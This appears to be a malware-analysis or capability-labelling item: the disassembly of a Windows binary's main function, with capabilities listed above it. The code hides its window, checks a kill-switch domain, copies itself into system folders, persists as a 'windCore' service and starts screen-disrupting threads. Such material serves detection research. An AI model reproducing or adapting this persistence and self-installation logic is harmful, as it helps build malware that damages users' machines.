Function at 0x402003
Capabilities:
Create http request
Create service
Create thread
Hide graphical window
Persist via windows service
Start service

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xd0
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
test rax, rax
jne 0x40228d
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x20000000
lea rdx, str.https:__hgjghjghjdfgdjfghshfg.com
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x4020b8
mov eax, 0
jmp 0x402458
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x18]
mov r8d, 0
lea rdx, str.C:WindowscVirus.exe
mov rcx, rax
call sym.copy_char__char__int_
mov rax, qword [rbp + 0x18]
mov r8d, 1
lea rdx, str.C:WindowsSystem32WindowsCoreProcess.exe
mov rcx, rax
call sym.copy_char__char__int_
mov r8d, 3
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
call rax
mov qword [rbp - 0x18], rax
movabs rax, 0x6f646e69575c3a43
mov qword [rbp - 0x60], rax
movabs rax, 0x65747379535c7377
mov qword [rbp - 0x58], rax
movabs rax, 0x646e69575c32336d
mov qword [rbp - 0x50], rax
movabs rax, 0x5065726f4373776f
mov qword [rbp - 0x48], rax
movabs rax, 0x652e737365636f72
mov qword [rbp - 0x40], rax
movabs rax, 0x767265732d206578
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x30], 0x656369
cmp qword [rbp - 0x18], 0
je 0x40225a
mov rcx, qword [rbp - 0x18]
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
lea rax, [rbp - 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x10
mov r9d, 0xf01ff
lea r8, str.Windows_Core_Service
lea rdx, str.windCore
mov rax, qword [sym.imp.ADVAPI32.dll_CreateServiceA]
call rax
mov rax, qword [rbp - 0x18]
mov r8d, 0xe0000000
lea rdx, str.windCore
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_OpenServiceA]
call rax
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_StartServiceA]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call rax
jmp 0x402283
mov rax, qword [sym.imp.USER32.dll_GetDesktopWindow]
call rax
mov r9d, 0x40010
lea r8, str.Error
lea rdx, str.Please_run_the_app_as_an_Administrator.
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov eax, 0
jmp 0x402458
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
lea rdx, str._service
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x4022eb
lea rax, str.windCore
mov qword [rbp - 0x60], rax
lea rax, [sym.ServiceMain_int__char_]
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
call rax
mov eax, 0
jmp 0x402458
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
lea rdx, str._run
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x402453
mov edx, 0
lea rcx, str.C:WindowswinDatLog.dat
mov rax, qword [sym.imp.msvcrt.dll__access]
call rax
test eax, eax
sete al
test al, al
je 0x40235c
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.dontDoThat_void_]
mov edx, 0x1000
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.randIcon_void_]
mov edx, 0x1000
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.drawSmile_void_]
mov edx, 0x1000
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.tunnelView_void_]
mov edx, 0x1000
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.invertColors_void_]
mov edx, 0x1000
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.puzzle_void_]
mov edx, 0x1000
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
jmp 0x402451
mov eax, 0
add rsp, 0xd0
pop rbp
ret